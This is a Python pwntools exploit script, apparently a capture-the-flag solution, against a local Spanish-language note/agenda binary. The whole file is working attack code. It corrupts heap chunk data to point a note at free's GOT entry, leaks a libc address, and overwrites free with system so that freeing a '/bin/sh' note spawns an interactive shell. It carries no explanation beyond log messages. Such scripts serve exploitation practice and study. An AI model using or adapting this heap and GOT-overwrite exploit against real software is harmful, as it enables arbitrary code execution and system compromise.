exploit.py

#!/usr/bin/python
from pwn import *

context.terminal = ['tmux', 'sp', '-h']
# context.log_level = 'DEBUG'

elf  = ELF('./agenda_main')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

io = process(elf.path)

def add_note(size, content):
    io.recvuntil('Selecciona una opcion>')
    io.sendline('1')
    io.recvuntil('Longitud del evento:')
    io.sendline(str(size))
    io.recvuntil('Introduce el evento:')
    io.sendline(content)

def print_note(index):
    io.recvuntil('Selecciona una opcion>')
    io.sendline('2')
    io.recvuntil('Indica el evento:')
    io.sendline(str(index))

def edit_note(index, content):
    io.recvuntil('Selecciona una opcion>')
    io.sendline('3')
    io.recvuntil('Indica el evento:')
    io.sendline(str(index))
    io.recvuntil('Introduce el evento:')
    io.send(content)

def free_note(index):
    io.recvuntil('Selecciona una opcion>')
    io.sendline('4')
    io.recvuntil('Indica el evento:')
    io.sendline(str(index))

for i in range(11):
    add_note(10, str(ord('A') + i) * 10)

free_note(1)
edit_note(0, 'X' * 32 + p64(elf.got['free']))

add_note(10, 'L' * 10)
add_note(10, '')
print_note(12)

io.recvline()
leak_free = u64(p64(libc.sym['free'])[:1] + io.recv(8)[1:])
libc.address = leak_free - libc.sym['free']
log.success('Leaked free@@GLIBC address: ' + hex(leak_free))
log.success('GLIBC base address: ' + hex(libc.address))

log.info('Spawning shell...')
edit_note(0, '/bin/sh\x00')
edit_note(12, p64(libc.sym['system']))
free_note(0)

io.recv()
io.interactive()
io.close()